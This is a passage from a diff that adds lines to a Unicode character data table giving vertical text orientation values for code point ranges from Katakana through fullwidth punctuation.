+30C3 ; Tu # Lo KATAKANA LETTER SMALL TU
+30C4..30E2 ; U # Lo [31] KATAKANA LETTER TU..KATAKANA LETTER MO
+30E3 ; Tu # Lo KATAKANA LETTER SMALL YA
+30E4 ; U # Lo KATAKANA LETTER YA
+30E5 ; Tu # Lo KATAKANA LETTER SMALL YU
+30E6 ; U # Lo KATAKANA LETTER YU
+30E7 ; Tu # Lo KATAKANA LETTER SMALL YO
+30E8..30ED ; U # Lo [6] KATAKANA LETTER YO..KATAKANA LETTER RO
+30EE ; Tu # Lo KATAKANA LETTER SMALL WA
+30EF..30F4 ; U # Lo [6] KATAKANA LETTER WA..KATAKANA LETTER VU
+30F5..30F6 ; Tu # Lo [2] KATAKANA LETTER SMALL KA..KATAKANA LETTER SMALL KE
+30F7..30FA ; U # Lo [4] KATAKANA LETTER VA..KATAKANA LETTER VO
+30FB ; U # Po KATAKANA MIDDLE DOT
+30FC ; Tr # Lm KATAKANA-HIRAGANA PROLONGED SOUND MARK
+30FD..30FE ; U # Lm [2] KATAKANA ITERATION MARK..KATAKANA VOICED ITERATION MARK
+30FF ; U # Lo KATAKANA DIGRAPH KOTO
+3100..3104 ; U # Cn [5] <reserved-3100>..<reserved-3104>
+3105..3126 ; U # Lo [34] BOPOMOFO LETTER B..BOPOMOFO LETTER ER
+3127 ; Tu # Lo BOPOMOFO LETTER I
+3128..312E ; U # Lo [7] BOPOMOFO LETTER U..BOPOMOFO LETTER O WITH DOT ABOVE
+312F ; U # Cn <reserved-312F>
+3130 ; U # Cn <reserved-3130>
+3131..318E ; U # Lo [94] HANGUL LETTER KIYEOK..HANGUL LETTER ARAEAE
+318F ; U # Cn <reserved-318F>
+3190..3191 ; U # So [2] IDEOGRAPHIC ANNOTATION LINKING MARK..IDEOGRAPHIC ANNOTATION REVERSE MARK
+3192..3195 ; U # No [4] IDEOGRAPHIC ANNOTATION ONE MARK..IDEOGRAPHIC ANNOTATION FOUR MARK
+3196..319F ; U # So [10] IDEOGRAPHIC ANNOTATION TOP MARK..IDEOGRAPHIC ANNOTATION MAN MARK
+31A0..31BA ; U # Lo [27] BOPOMOFO LETTER BU..BOPOMOFO LETTER ZY
+31BB..31BF ; U # Cn [5] <reserved-31BB>..<reserved-31BF>
+31C0..31E3 ; U # So [36] CJK STROKE T..CJK STROKE Q
+31E4..31EF ; U # Cn [12] <reserved-31E4>..<reserved-31EF>
+31F0..31FF ; Tu # Lo [16] KATAKANA LETTER SMALL KU..KATAKANA LETTER SMALL RO
+3200..321E ; U # So [31] PARENTHESIZED HANGUL KIYEOK..PARENTHESIZED KOREAN CHARACTER O HU
+321F ; U # Cn <reserved-321F>
+3220..3229 ; U # No [10] PARENTHESIZED IDEOGRAPH ONE..PARENTHESIZED IDEOGRAPH TEN
+322A..3247 ; U # So [30] PARENTHESIZED IDEOGRAPH MOON..CIRCLED IDEOGRAPH KOTO
+3248..324F ; U # No [8] CIRCLED NUMBER TEN ON BLACK SQUARE..CIRCLED NUMBER EIGHTY ON BLACK SQUARE
+3250 ; U # So PARTNERSHIP SIGN
+3251..325F ; U # No [15] CIRCLED NUMBER TWENTY ONE..CIRCLED NUMBER THIRTY FIVE
+3260..327F ; U # So [32] CIRCLED HANGUL KIYEOK..KOREAN STANDARD SYMBOL
+3280..3289 ; U # No [10] CIRCLED IDEOGRAPH ONE..CIRCLED IDEOGRAPH TEN
+328A..32B0 ; U # So [39] CIRCLED IDEOGRAPH MOON..CIRCLED IDEOGRAPH NIGHT
+32B1..32BF ; U # No [15] CIRCLED NUMBER THIRTY SIX..CIRCLED NUMBER FIFTY
+32C0..32FE ; U # So [63] IDEOGRAPHIC TELEGRAPH SYMBOL FOR JANUARY..CIRCLED KATAKANA WO
+32FF ; U # Cn <reserved-32FF>
+3300..3357 ; Tu # So [88] SQUARE APAATO..SQUARE WATTO
+3358..337A ; U # So [35] IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR ZERO..SQUARE IU
+337B..337F ; Tu # So [5] SQUARE ERA NAME HEISEI..SQUARE CORPORATION
+3380..33FF ; U # So [128] SQUARE PA AMPS..SQUARE GAL
+3400..4DB5 ; U # Lo [6582] CJK UNIFIED IDEOGRAPH-3400..CJK UNIFIED IDEOGRAPH-4DB5
+4DB6..4DBF ; U # Cn [10] <reserved-4DB6>..<reserved-4DBF>
+4DC0..4DFF ; U # So [64] HEXAGRAM FOR THE CREATIVE HEAVEN..HEXAGRAM FOR BEFORE COMPLETION
+4E00..9FEA ; U # Lo [20971] CJK UNIFIED IDEOGRAPH-4E00..CJK UNIFIED IDEOGRAPH-9FEA
+9FEB..9FFF ; U # Cn [21] <reserved-9FEB>..<reserved-9FFF>
+A000..A014 ; U # Lo [21] YI SYLLABLE IT..YI SYLLABLE E
+A015 ; U # Lm YI SYLLABLE WU
+A016..A48C ; U # Lo [1143] YI SYLLABLE BIT..YI SYLLABLE YYR
+A48D..A48F ; U # Cn [3] <reserved-A48D>..<reserved-A48F>
+A490..A4C6 ; U # So [55] YI RADICAL QOT..YI RADICAL KE
+A4C7..A4CF ; U # Cn [9] <reserved-A4C7>..<reserved-A4CF>
+A4D0..A4F7 ; R # Lo [40] LISU LETTER BA..LISU LETTER OE
+A4F8..A4FD ; R # Lm [6] LISU LETTER TONE MYA TI..LISU LETTER TONE MYA JEU
+A4FE..A4FF ; R # Po [2] LISU PUNCTUATION COMMA..LISU PUNCTUATION FULL STOP
+A500..A60B ; R # Lo [268] VAI SYLLABLE EE..VAI SYLLABLE NG
+A60C ; R # Lm VAI SYLLABLE LENGTHENER
+A60D..A60F ; R # Po [3] VAI COMMA..VAI QUESTION MARK
+A610..A61F ; R # Lo [16] VAI SYLLABLE NDOLE FA..VAI SYMBOL JONG
+A620..A629 ; R # Nd [10] VAI DIGIT ZERO..VAI DIGIT NINE
+A62A..A62B ; R # Lo [2] VAI SYLLABLE NDOLE MA..VAI SYLLABLE NDOLE DO
+A640..A66D ; R # L& [46] CYRILLIC CAPITAL LETTER ZEMLYA..CYRILLIC SMALL LETTER DOUBLE MONOCULAR O
+A66E ; R # Lo CYRILLIC LETTER MULTIOCULAR O
+A66F ; R # Mn COMBINING CYRILLIC VZMET
+A670..A672 ; R # Me [3] COMBINING CYRILLIC TEN MILLIONS SIGN..COMBINING CYRILLIC THOUSAND MILLIONS SIGN
+A673 ; R # Po SLAVONIC ASTERISK
+A674..A67D ; R # Mn [10] COMBINING CYRILLIC LETTER UKRAINIAN IE..COMBINING CYRILLIC PAYEROK
+A67E ; R # Po CYRILLIC KAVYKA
+A67F ; R # Lm CYRILLIC PAYEROK
+A680..A69B ; R # L& [28] CYRILLIC CAPITAL LETTER DWE..CYRILLIC SMALL LETTER CROSSED O
+A69C..A69D ; R # Lm [2] MODIFIER LETTER CYRILLIC HARD SIGN..MODIFIER LETTER CYRILLIC SOFT SIGN
+A69E..A69F ; R # Mn [2] COMBINING CYRILLIC LETTER EF..COMBINING CYRILLIC LETTER IOTIFIED E
+A6A0..A6E5 ; R # Lo [70] BAMUM LETTER A..BAMUM LETTER KI
+A6E6..A6EF ; R # Nl [10] BAMUM LETTER MO..BAMUM LETTER KOGHOM
+A6F0..A6F1 ; R # Mn [2] BAMUM COMBINING MARK KOQNDON..BAMUM COMBINING MARK TUKWENTIS
+A6F2..A6F7 ; R # Po [6] BAMUM NJAEMLI..BAMUM QUESTION MARK
+A700..A716 ; R # Sk [23] MODIFIER LETTER CHINESE TONE YIN PING..MODIFIER LETTER EXTRA-LOW LEFT-STEM TONE BAR
+A717..A71F ; R # Lm [9] MODIFIER LETTER DOT VERTICAL BAR..MODIFIER LETTER LOW INVERTED EXCLAMATION MARK
+A720..A721 ; R # Sk [2] MODIFIER LETTER STRESS AND HIGH TONE..MODIFIER LETTER STRESS AND LOW TONE
+A722..A76F ; R # L& [78] LATIN CAPITAL LETTER EGYPTOLOGICAL ALEF..LATIN SMALL LETTER CON
+A770 ; R # Lm MODIFIER LETTER US
+A771..A787 ; R # L& [23] LATIN SMALL LETTER DUM..LATIN SMALL LETTER INSULAR T
+A788 ; R # Lm MODIFIER LETTER LOW CIRCUMFLEX ACCENT
+A789..A78A ; R # Sk [2] MODIFIER LETTER COLON..MODIFIER LETTER SHORT EQUALS SIGN
+A78B..A78E ; R # L& [4] LATIN CAPITAL LETTER SALTILLO..LATIN SMALL LETTER L WITH RETROFLEX HOOK AND BELT
+A78F ; R # Lo LATIN LETTER SINOLOGICAL DOT
+A790..A7AE ; R # L& [31] LATIN CAPITAL LETTER N WITH DESCENDER..LATIN CAPITAL LETTER SMALL CAPITAL I
+A7B0..A7B7 ; R # L& [8] LATIN CAPITAL LETTER TURNED K..LATIN SMALL LETTER OMEGA
+A7F7 ; R # Lo LATIN EPIGRAPHIC LETTER SIDEWAYS I
+A7F8..A7F9 ; R # Lm [2] MODIFIER LETTER CAPITAL H WITH STROKE..MODIFIER LETTER SMALL LIGATURE OE
+A7FA ; R # Ll LATIN LETTER SMALL CAPITAL TURNED M
+A7FB..A7FF ; R # Lo [5] LATIN EPIGRAPHIC LETTER REVERSED F..LATIN EPIGRAPHIC LETTER ARCHAIC M
+A800..A801 ; R # Lo [2] SYLOTI NAGRI LETTER A..SYLOTI NAGRI LETTER I
+A802 ; R # Mn SYLOTI NAGRI SIGN DVISVARA
+A803..A805 ; R # Lo [3] SYLOTI NAGRI LETTER U..SYLOTI NAGRI LETTER O
+A806 ; R # Mn SYLOTI NAGRI SIGN HASANTA
+A807..A80A ; R # Lo [4] SYLOTI NAGRI LETTER KO..SYLOTI NAGRI LETTER GHO
+A80B ; R # Mn SYLOTI NAGRI SIGN ANUSVARA
+A80C..A822 ; R # Lo [23] SYLOTI NAGRI LETTER CO..SYLOTI NAGRI LETTER HO
+A823..A824 ; R # Mc [2] SYLOTI NAGRI VOWEL SIGN A..SYLOTI NAGRI VOWEL SIGN I
+A825..A826 ; R # Mn [2] SYLOTI NAGRI VOWEL SIGN U..SYLOTI NAGRI VOWEL SIGN E
+A827 ; R # Mc SYLOTI NAGRI VOWEL SIGN OO
+A828..A82B ; R # So [4] SYLOTI NAGRI POETRY MARK-1..SYLOTI NAGRI POETRY MARK-4
+A830..A835 ; R # No [6] NORTH INDIC FRACTION ONE QUARTER..NORTH INDIC FRACTION THREE SIXTEENTHS
+A836..A837 ; R # So [2] NORTH INDIC QUARTER MARK..NORTH INDIC PLACEHOLDER MARK
+A838 ; R # Sc NORTH INDIC RUPEE MARK
+A839 ; R # So NORTH INDIC QUANTITY MARK
+A840..A873 ; R # Lo [52] PHAGS-PA LETTER KA..PHAGS-PA LETTER CANDRABINDU
+A874..A877 ; R # Po [4] PHAGS-PA SINGLE HEAD MARK..PHAGS-PA MARK DOUBLE SHAD
+A880..A881 ; R # Mc [2] SAURASHTRA SIGN ANUSVARA..SAURASHTRA SIGN VISARGA
+A882..A8B3 ; R # Lo [50] SAURASHTRA LETTER A..SAURASHTRA LETTER LLA
+A8B4..A8C3 ; R # Mc [16] SAURASHTRA CONSONANT SIGN HAARU..SAURASHTRA VOWEL SIGN AU
+A8C4..A8C5 ; R # Mn [2] SAURASHTRA SIGN VIRAMA..SAURASHTRA SIGN CANDRABINDU
+A8CE..A8CF ; R # Po [2] SAURASHTRA DANDA..SAURASHTRA DOUBLE DANDA
+A8D0..A8D9 ; R # Nd [10] SAURASHTRA DIGIT ZERO..SAURASHTRA DIGIT NINE
+A8E0..A8F1 ; R # Mn [18] COMBINING DEVANAGARI DIGIT ZERO..COMBINING DEVANAGARI SIGN AVAGRAHA
+A8F2..A8F7 ; R # Lo [6] DEVANAGARI SIGN SPACING CANDRABINDU..DEVANAGARI SIGN CANDRABINDU AVAGRAHA
+A8F8..A8FA ; R # Po [3] DEVANAGARI SIGN PUSHPIKA..DEVANAGARI CARET
+A8FB ; R # Lo DEVANAGARI HEADSTROKE
+A8FC ; R # Po DEVANAGARI SIGN SIDDHAM
+A8FD ; R # Lo DEVANAGARI JAIN OM
+A900..A909 ; R # Nd [10] KAYAH LI DIGIT ZERO..KAYAH LI DIGIT NINE
+A90A..A925 ; R # Lo [28] KAYAH LI LETTER KA..KAYAH LI LETTER OO
+A926..A92D ; R # Mn [8] KAYAH LI VOWEL UE..KAYAH LI TONE CALYA PLOPHU
+A92E..A92F ; R # Po [2] KAYAH LI SIGN CWI..KAYAH LI SIGN SHYA
+A930..A946 ; R # Lo [23] REJANG LETTER KA..REJANG LETTER A
+A947..A951 ; R # Mn [11] REJANG VOWEL SIGN I..REJANG CONSONANT SIGN R
+A952..A953 ; R # Mc [2] REJANG CONSONANT SIGN H..REJANG VIRAMA
+A95F ; R # Po REJANG SECTION MARK
+A960..A97C ; U # Lo [29] HANGUL CHOSEONG TIKEUT-MIEUM..HANGUL CHOSEONG SSANGYEORINHIEUH
+A97D..A97F ; U # Cn [3] <reserved-A97D>..<reserved-A97F>
+A980..A982 ; R # Mn [3] JAVANESE SIGN PANYANGGA..JAVANESE SIGN LAYAR
+A983 ; R # Mc JAVANESE SIGN WIGNYAN
+A984..A9B2 ; R # Lo [47] JAVANESE LETTER A..JAVANESE LETTER HA
+A9B3 ; R # Mn JAVANESE SIGN CECAK TELU
+A9B4..A9B5 ; R # Mc [2] JAVANESE VOWEL SIGN TARUNG..JAVANESE VOWEL SIGN TOLONG
+A9B6..A9B9 ; R # Mn [4] JAVANESE VOWEL SIGN WULU..JAVANESE VOWEL SIGN SUKU MENDUT
+A9BA..A9BB ; R # Mc [2] JAVANESE VOWEL SIGN TALING..JAVANESE VOWEL SIGN DIRGA MURE
+A9BC ; R # Mn JAVANESE VOWEL SIGN PEPET
+A9BD..A9C0 ; R # Mc [4] JAVANESE CONSONANT SIGN KERET..JAVANESE PANGKON
+A9C1..A9CD ; R # Po [13] JAVANESE LEFT RERENGGAN..JAVANESE TURNED PADA PISELEH
+A9CF ; R # Lm JAVANESE PANGRANGKEP
+A9D0..A9D9 ; R # Nd [10] JAVANESE DIGIT ZERO..JAVANESE DIGIT NINE
+A9DE..A9DF ; R # Po [2] JAVANESE PADA TIRTA TUMETES..JAVANESE PADA ISEN-ISEN
+A9E0..A9E4 ; R # Lo [5] MYANMAR LETTER SHAN GHA..MYANMAR LETTER SHAN BHA
+A9E5 ; R # Mn MYANMAR SIGN SHAN SAW
+A9E6 ; R # Lm MYANMAR MODIFIER LETTER SHAN REDUPLICATION
+A9E7..A9EF ; R # Lo [9] MYANMAR LETTER TAI LAING NYA..MYANMAR LETTER TAI LAING NNA
+A9F0..A9F9 ; R # Nd [10] MYANMAR TAI LAING DIGIT ZERO..MYANMAR TAI LAING DIGIT NINE
+A9FA..A9FE ; R # Lo [5] MYANMAR LETTER TAI LAING LLA..MYANMAR LETTER TAI LAING BHA
+AA00..AA28 ; R # Lo [41] CHAM LETTER A..CHAM LETTER HA
+AA29..AA2E ; R # Mn [6] CHAM VOWEL SIGN AA..CHAM VOWEL SIGN OE
+AA2F..AA30 ; R # Mc [2] CHAM VOWEL SIGN O..CHAM VOWEL SIGN AI
+AA31..AA32 ; R # Mn [2] CHAM VOWEL SIGN AU..CHAM VOWEL SIGN UE
+AA33..AA34 ; R # Mc [2] CHAM CONSONANT SIGN YA..CHAM CONSONANT SIGN RA
+AA35..AA36 ; R # Mn [2] CHAM CONSONANT SIGN LA..CHAM CONSONANT SIGN WA
+AA40..AA42 ; R # Lo [3] CHAM LETTER FINAL K..CHAM LETTER FINAL NG
+AA43 ; R # Mn CHAM CONSONANT SIGN FINAL NG
+AA44..AA4B ; R # Lo [8] CHAM LETTER FINAL CH..CHAM LETTER FINAL SS
+AA4C ; R # Mn CHAM CONSONANT SIGN FINAL M
+AA4D ; R # Mc CHAM CONSONANT SIGN FINAL H
+AA50..AA59 ; R # Nd [10] CHAM DIGIT ZERO..CHAM DIGIT NINE
+AA5C..AA5F ; R # Po [4] CHAM PUNCTUATION SPIRAL..CHAM PUNCTUATION TRIPLE DANDA
+AA60..AA6F ; R # Lo [16] MYANMAR LETTER KHAMTI GA..MYANMAR LETTER KHAMTI FA
+AA70 ; R # Lm MYANMAR MODIFIER LETTER KHAMTI REDUPLICATION
+AA71..AA76 ; R # Lo [6] MYANMAR LETTER KHAMTI XA..MYANMAR LOGOGRAM KHAMTI HM
+AA77..AA79 ; R # So [3] MYANMAR SYMBOL AITON EXCLAMATION..MYANMAR SYMBOL AITON TWO
+AA7A ; R # Lo MYANMAR LETTER AITON RA
+AA7B ; R # Mc MYANMAR SIGN PAO KAREN TONE
+AA7C ; R # Mn MYANMAR SIGN TAI LAING TONE-2
+AA7D ; R # Mc MYANMAR SIGN TAI LAING TONE-5
+AA7E..AA7F ; R # Lo [2] MYANMAR LETTER SHWE PALAUNG CHA..MYANMAR LETTER SHWE PALAUNG SHA
+AA80..AAAF ; R # Lo [48] TAI VIET LETTER LOW KO..TAI VIET LETTER HIGH O
+AAB0 ; R # Mn TAI VIET MAI KANG
+AAB1 ; R # Lo TAI VIET VOWEL AA
+AAB2..AAB4 ; R # Mn [3] TAI VIET VOWEL I..TAI VIET VOWEL U
+AAB5..AAB6 ; R # Lo [2] TAI VIET VOWEL E..TAI VIET VOWEL O
+AAB7..AAB8 ; R # Mn [2] TAI VIET MAI KHIT..TAI VIET VOWEL IA
+AAB9..AABD ; R # Lo [5] TAI VIET VOWEL UEA..TAI VIET VOWEL AN
+AABE..AABF ; R # Mn [2] TAI VIET VOWEL AM..TAI VIET TONE MAI EK
+AAC0 ; R # Lo TAI VIET TONE MAI NUENG
+AAC1 ; R # Mn TAI VIET TONE MAI THO
+AAC2 ; R # Lo TAI VIET TONE MAI SONG
+AADB..AADC ; R # Lo [2] TAI VIET SYMBOL KON..TAI VIET SYMBOL NUENG
+AADD ; R # Lm TAI VIET SYMBOL SAM
+AADE..AADF ; R # Po [2] TAI VIET SYMBOL HO HOI..TAI VIET SYMBOL KOI KOI
+AAE0..AAEA ; R # Lo [11] MEETEI MAYEK LETTER E..MEETEI MAYEK LETTER SSA
+AAEB ; R # Mc MEETEI MAYEK VOWEL SIGN II
+AAEC..AAED ; R # Mn [2] MEETEI MAYEK VOWEL SIGN UU..MEETEI MAYEK VOWEL SIGN AAI
+AAEE..AAEF ; R # Mc [2] MEETEI MAYEK VOWEL SIGN AU..MEETEI MAYEK VOWEL SIGN AAU
+AAF0..AAF1 ; R # Po [2] MEETEI MAYEK CHEIKHAN..MEETEI MAYEK AHANG KHUDAM
+AAF2 ; R # Lo MEETEI MAYEK ANJI
+AAF3..AAF4 ; R # Lm [2] MEETEI MAYEK SYLLABLE REPETITION MARK..MEETEI MAYEK WORD REPETITION MARK
+AAF5 ; R # Mc MEETEI MAYEK VOWEL SIGN VISARGA
+AAF6 ; R # Mn MEETEI MAYEK VIRAMA
+AB01..AB06 ; R # Lo [6] ETHIOPIC SYLLABLE TTHU..ETHIOPIC SYLLABLE TTHO
+AB09..AB0E ; R # Lo [6] ETHIOPIC SYLLABLE DDHU..ETHIOPIC SYLLABLE DDHO
+AB11..AB16 ; R # Lo [6] ETHIOPIC SYLLABLE DZU..ETHIOPIC SYLLABLE DZO
+AB20..AB26 ; R # Lo [7] ETHIOPIC SYLLABLE CCHHA..ETHIOPIC SYLLABLE CCHHO
+AB28..AB2E ; R # Lo [7] ETHIOPIC SYLLABLE BBA..ETHIOPIC SYLLABLE BBO
+AB30..AB5A ; R # Ll [43] LATIN SMALL LETTER BARRED ALPHA..LATIN SMALL LETTER Y WITH SHORT RIGHT LEG
+AB5B ; R # Sk MODIFIER BREVE WITH INVERTED BREVE
+AB5C..AB5F ; R # Lm [4] MODIFIER LETTER SMALL HENG..MODIFIER LETTER SMALL U WITH LEFT HOOK
+AB60..AB65 ; R # Ll [6] LATIN SMALL LETTER SAKHA YAT..GREEK LETTER SMALL CAPITAL OMEGA
+AB70..ABBF ; R # Ll [80] CHEROKEE SMALL LETTER A..CHEROKEE SMALL LETTER YA
+ABC0..ABE2 ; R # Lo [35] MEETEI MAYEK LETTER KOK..MEETEI MAYEK LETTER I LONSUM
+ABE3..ABE4 ; R # Mc [2] MEETEI MAYEK VOWEL SIGN ONAP..MEETEI MAYEK VOWEL SIGN INAP
+ABE5 ; R # Mn MEETEI MAYEK VOWEL SIGN ANAP
+ABE6..ABE7 ; R # Mc [2] MEETEI MAYEK VOWEL SIGN YENAP..MEETEI MAYEK VOWEL SIGN SOUNAP
+ABE8 ; R # Mn MEETEI MAYEK VOWEL SIGN UNAP
+ABE9..ABEA ; R # Mc [2] MEETEI MAYEK VOWEL SIGN CHEINAP..MEETEI MAYEK VOWEL SIGN NUNG
+ABEB ; R # Po MEETEI MAYEK CHEIKHEI
+ABEC ; R # Mc MEETEI MAYEK LUM IYEK
+ABED ; R # Mn MEETEI MAYEK APUN IYEK
+ABF0..ABF9 ; R # Nd [10] MEETEI MAYEK DIGIT ZERO..MEETEI MAYEK DIGIT NINE
+AC00..D7A3 ; U # Lo [11172] HANGUL SYLLABLE GA..HANGUL SYLLABLE HIH
+D7A4..D7AF ; U # Cn [12] <reserved-D7A4>..<reserved-D7AF>
+D7B0..D7C6 ; U # Lo [23] HANGUL JUNGSEONG O-YEO..HANGUL JUNGSEONG ARAEA-E
+D7C7..D7CA ; U # Cn [4] <reserved-D7C7>..<reserved-D7CA>
+D7CB..D7FB ; U # Lo [49] HANGUL JONGSEONG NIEUN-RIEUL..HANGUL JONGSEONG PHIEUPH-THIEUTH
+D7FC..D7FF ; U # Cn [4] <reserved-D7FC>..<reserved-D7FF>
+D800..DFFF ; R # Cs [2048] <surrogate-D800>..<surrogate-DFFF>
+E000..F8FF ; U # Co [6400] <private-use-E000>..<private-use-F8FF>
+F900..FA6D ; U # Lo [366] CJK COMPATIBILITY IDEOGRAPH-F900..CJK COMPATIBILITY IDEOGRAPH-FA6D
+FA6E..FA6F ; U # Cn [2] <reserved-FA6E>..<reserved-FA6F>
+FA70..FAD9 ; U # Lo [106] CJK COMPATIBILITY IDEOGRAPH-FA70..CJK COMPATIBILITY IDEOGRAPH-FAD9
+FADA..FAFF ; U # Cn [38] <reserved-FADA>..<reserved-FAFF>
+FB00..FB06 ; R # Ll [7] LATIN SMALL LIGATURE FF..LATIN SMALL LIGATURE ST
+FB13..FB17 ; R # Ll [5] ARMENIAN SMALL LIGATURE MEN NOW..ARMENIAN SMALL LIGATURE MEN XEH
+FB1D ; R # Lo HEBREW LETTER YOD WITH HIRIQ
+FB1E ; R # Mn HEBREW POINT JUDEO-SPANISH VARIKA
+FB1F..FB28 ; R # Lo [10] HEBREW LIGATURE YIDDISH YOD YOD PATAH..HEBREW LETTER WIDE TAV
+FB29 ; R # Sm HEBREW LETTER ALTERNATIVE PLUS SIGN
+FB2A..FB36 ; R # Lo [13] HEBREW LETTER SHIN WITH SHIN DOT..HEBREW LETTER ZAYIN WITH DAGESH
+FB38..FB3C ; R # Lo [5] HEBREW LETTER TET WITH DAGESH..HEBREW LETTER LAMED WITH DAGESH
+FB3E ; R # Lo HEBREW LETTER MEM WITH DAGESH
+FB40..FB41 ; R # Lo [2] HEBREW LETTER NUN WITH DAGESH..HEBREW LETTER SAMEKH WITH DAGESH
+FB43..FB44 ; R # Lo [2] HEBREW LETTER FINAL PE WITH DAGESH..HEBREW LETTER PE WITH DAGESH
+FB46..FB4F ; R # Lo [10] HEBREW LETTER TSADI WITH DAGESH..HEBREW LIGATURE ALEF LAMED
+FB50..FBB1 ; R # Lo [98] ARABIC LETTER ALEF WASLA ISOLATED FORM..ARABIC LETTER YEH BARREE WITH HAMZA ABOVE FINAL FORM
+FBB2..FBC1 ; R # Sk [16] ARABIC SYMBOL DOT ABOVE..ARABIC SYMBOL SMALL TAH BELOW
+FBD3..FD3D ; R # Lo [363] ARABIC LETTER NG ISOLATED FORM..ARABIC LIGATURE ALEF WITH FATHATAN ISOLATED FORM
+FD3E ; R # Pe ORNATE LEFT PARENTHESIS
+FD3F ; R # Ps ORNATE RIGHT PARENTHESIS
+FD50..FD8F ; R # Lo [64] ARABIC LIGATURE TEH WITH JEEM WITH MEEM INITIAL FORM..ARABIC LIGATURE MEEM WITH KHAH WITH MEEM INITIAL FORM
+FD92..FDC7 ; R # Lo [54] ARABIC LIGATURE MEEM WITH JEEM WITH KHAH INITIAL FORM..ARABIC LIGATURE NOON WITH JEEM WITH YEH FINAL FORM
+FDF0..FDFB ; R # Lo [12] ARABIC LIGATURE SALLA USED AS KORANIC STOP SIGN ISOLATED FORM..ARABIC LIGATURE JALLAJALALOUHOU
+FDFC ; R # Sc RIAL SIGN
+FDFD ; R # So ARABIC LIGATURE BISMILLAH AR-RAHMAN AR-RAHEEM
+FE00..FE0F ; R # Mn [16] VARIATION SELECTOR-1..VARIATION SELECTOR-16
+FE10..FE16 ; U # Po [7] PRESENTATION FORM FOR VERTICAL COMMA..PRESENTATION FORM FOR VERTICAL QUESTION MARK
+FE17 ; U # Ps PRESENTATION FORM FOR VERTICAL LEFT WHITE LENTICULAR BRACKET
+FE18 ; U # Pe PRESENTATION FORM FOR VERTICAL RIGHT WHITE LENTICULAR BRAKCET
+FE19 ; U # Po PRESENTATION FORM FOR VERTICAL HORIZONTAL ELLIPSIS
+FE1A..FE1F ; U # Cn [6] <reserved-FE1A>..<reserved-FE1F>
+FE20..FE2F ; R # Mn [16] COMBINING LIGATURE LEFT HALF..COMBINING CYRILLIC TITLO RIGHT HALF
+FE30 ; U # Po PRESENTATION FORM FOR VERTICAL TWO DOT LEADER
+FE31..FE32 ; U # Pd [2] PRESENTATION FORM FOR VERTICAL EM DASH..PRESENTATION FORM FOR VERTICAL EN DASH
+FE33..FE34 ; U # Pc [2] PRESENTATION FORM FOR VERTICAL LOW LINE..PRESENTATION FORM FOR VERTICAL WAVY LOW LINE
+FE35 ; U # Ps PRESENTATION FORM FOR VERTICAL LEFT PARENTHESIS
+FE36 ; U # Pe PRESENTATION FORM FOR VERTICAL RIGHT PARENTHESIS
+FE37 ; U # Ps PRESENTATION FORM FOR VERTICAL LEFT CURLY BRACKET
+FE38 ; U # Pe PRESENTATION FORM FOR VERTICAL RIGHT CURLY BRACKET
+FE39 ; U # Ps PRESENTATION FORM FOR VERTICAL LEFT TORTOISE SHELL BRACKET
+FE3A ; U # Pe PRESENTATION FORM FOR VERTICAL RIGHT TORTOISE SHELL BRACKET
+FE3B ; U # Ps PRESENTATION FORM FOR VERTICAL LEFT BLACK LENTICULAR BRACKET
+FE3C ; U # Pe PRESENTATION FORM FOR VERTICAL RIGHT BLACK LENTICULAR BRACKET
+FE3D ; U # Ps PRESENTATION FORM FOR VERTICAL LEFT DOUBLE ANGLE BRACKET
+FE3E ; U # Pe PRESENTATION FORM FOR VERTICAL RIGHT DOUBLE ANGLE BRACKET
+FE3F ; U # Ps PRESENTATION FORM FOR VERTICAL LEFT ANGLE BRACKET
+FE40 ; U # Pe PRESENTATION FORM FOR VERTICAL RIGHT ANGLE BRACKET
+FE41 ; U # Ps PRESENTATION FORM FOR VERTICAL LEFT CORNER BRACKET
+FE42 ; U # Pe PRESENTATION FORM FOR VERTICAL RIGHT CORNER BRACKET
+FE43 ; U # Ps PRESENTATION FORM FOR VERTICAL LEFT WHITE CORNER BRACKET
+FE44 ; U # Pe PRESENTATION FORM FOR VERTICAL RIGHT WHITE CORNER BRACKET
+FE45..FE46 ; U # Po [2] SESAME DOT..WHITE SESAME DOT
+FE47 ; U # Ps PRESENTATION FORM FOR VERTICAL LEFT SQUARE BRACKET
+FE48 ; U # Pe PRESENTATION FORM FOR VERTICAL RIGHT SQUARE BRACKET
+FE49..FE4C ; R # Po [4] DASHED OVERLINE..DOUBLE WAVY OVERLINE
+FE4D..FE4F ; R # Pc [3] DASHED LOW LINE..WAVY LOW LINE
+FE50..FE52 ; Tu # Po [3] SMALL COMMA..SMALL FULL STOP
+FE53 ; U # Cn <reserved-FE53>
+FE54..FE57 ; U # Po [4] SMALL SEMICOLON..SMALL EXCLAMATION MARK
+FE58 ; R # Pd SMALL EM DASH
+FE59 ; Tr # Ps SMALL LEFT PARENTHESIS
+FE5A ; Tr # Pe SMALL RIGHT PARENTHESIS
+FE5B ; Tr # Ps SMALL LEFT CURLY BRACKET
+FE5C ; Tr # Pe SMALL RIGHT CURLY BRACKET
+FE5D ; Tr # Ps SMALL LEFT TORTOISE SHELL BRACKET
+FE5E ; Tr # Pe SMALL RIGHT TORTOISE SHELL BRACKET
+FE5F..FE61 ; U # Po [3] SMALL NUMBER SIGN..SMALL ASTERISK
+FE62 ; U # Sm SMALL PLUS SIGN
+FE63 ; R # Pd SMALL HYPHEN-MINUS
+FE64..FE66 ; R # Sm [3] SMALL LESS-THAN SIGN..SMALL EQUALS SIGN
+FE67 ; U # Cn <reserved-FE67>
+FE68 ; U # Po SMALL REVERSE SOLIDUS
+FE69 ; U # Sc SMALL DOLLAR SIGN
+FE6A..FE6B ; U # Po [2] SMALL PERCENT SIGN..SMALL COMMERCIAL AT
+FE6C..FE6F ; U # Cn [4] <reserved-FE6C>..<reserved-FE6F>
+FE70..FE74 ; R # Lo [5] ARABIC FATHATAN ISOLATED FORM..ARABIC KASRATAN ISOLATED FORM
+FE76..FEFC ; R # Lo [135] ARABIC FATHA ISOLATED FORM..ARABIC LIGATURE LAM WITH ALEF FINAL FORM
+FEFF ; R # Cf ZERO WIDTH NO-BREAK SPACE
+FF01 ; Tu # Po FULLWIDTH EXCLAMATION MARK
+FF02..FF03 ; U # Po [2] FULLWIDTH QUOTATION MARK..FULLWIDTH NUMBER SIGN
+FF04 ; U # Sc FULLWIDTH DOLLAR SIGN
+FF05..FF07 ; U # Po [3] FULLWIDTH PERCENT SIGN..FULLWIDTH APOSTROPHE
+FF08 ; Tr # Ps FULLWIDTH LEFT PARENTHESIS
